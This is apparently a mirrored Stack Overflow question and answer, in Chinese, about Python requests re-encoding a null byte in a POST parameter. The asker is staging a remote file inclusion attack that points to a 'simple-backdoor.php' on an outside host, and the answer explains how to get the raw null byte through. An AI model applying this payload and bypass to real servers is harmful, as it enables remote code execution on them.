gpt4 book ai didi

python - 当不需要时,请求会对 POST 参数进行编码

转载 作者:太空宇宙 更新时间:2023-11-03 18:30:36 25 4
gpt4 key购买 nike

请注意,以下代码片段用于在受控环境中进行远程文件包含攻击(此处不执行任何恶意操作)。

我正在尝试对 URL 执行发布请求:

resp = requests.post("http://example.com/test/index.php",data=post_data,cookies=cookie,proxies=proxies,config={'encode_uri': False})

数据参数之一是用于文件包含的 url,最后有一个空字节:

http://mysite.org/simple-backdoor.php%00

但是 requests 所做的是在末尾重新编码空字节,使其无用

http%3A%2F%2Fmysite.org%2Fsimple-backdoor.php%2500

我尝试附加 config={'encode_uri': False}) 但这会导致相同的行为。有谁知道如何禁用此编码或如何引入编码为 %00 的空字节字符?

最佳答案

Requests v2.0.0 及以上版本没有(因此尊重)encode_uriIt tries to encode data if data isn't a string

使用 unicode 空字节代替 %00,或者手动编码 data 的每个组件并将 data 形成字符串。

关于python - 当不需要时,请求会对 POST 参数进行编码,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/22439396/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com